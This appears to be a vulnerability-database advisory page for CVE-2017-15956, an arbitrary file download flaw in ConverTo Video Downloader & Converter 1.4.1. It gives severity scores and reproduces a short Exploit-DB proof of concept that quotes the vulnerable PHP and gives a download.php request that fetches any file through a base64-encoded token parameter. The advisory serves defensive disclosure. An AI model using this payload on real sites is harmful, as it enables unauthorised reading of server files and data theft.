CVE-2017-15956

high

Published 2017-10-29 · Modified 2026-05-13

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CVSS v3

7.5

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSS v4 NEW

—

not yet in upstream

VIR risk

8.5

Description

ConverTo Video Downloader & Converter 1.4.1 allows Arbitrary File Download via the token parameter to download.php.

Predictions

Exploit likelihood

83%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42927 webapps php text · 1 KB

Ihsan Sencan · 2017-09-29

ConverTo Video Downloader & Converter 1.4.1 - Arbitrary File Download

text exploit Source: Exploit-DB

# # # # # 
# Exploit Title: ConverTo Video Downloader & Converter 1.4.1 - Arbitrary File Download
# Dork: N/A
# Date: 29.09.2017
# Vendor Homepage: https://codecanyon.net/user/lemonadeflirt
# Software Link: https://codecanyon.net/item/converto-video-downloader-converter/13225966
# Demo: http://vd.googglet.com/
# Version: 1.4.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The security obligation allows an attacker to arbitrary download files..
#
# Vulnerable Source:
#
# .............
# <?php
# 
# include_once('.......php');
# // Check download token
# if (empty($_GET['mime']) OR empty($_GET['token']))
# {
# 	exit('Invalid download token 8{');
# }
# 
# // Set operation params
# $mime = filter_var($_GET['mime']);
# $ext  = str_replace(array('/', 'x-'), '', strstr($mime, '/'));
# $url  = base64_decode(filter_var($_GET['token']));
# $name = urldecode($_GET['title']). '.' .$ext; 
# 
# ?>
# .............
# Proof of Concept:
#
# http://localhost/[PATH]/download.php?mime=video/webm&title=Efe&token=[FILENAME_to_BASE64]
# 
# Etc...
# # # # #

Application impact

Vendor	Product	Versions	Fixed
converto_video_downloader_\&_converter_project	converto_video_downloader_\&_converter	`1.4.1`

References

CWEs

CWE-20

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.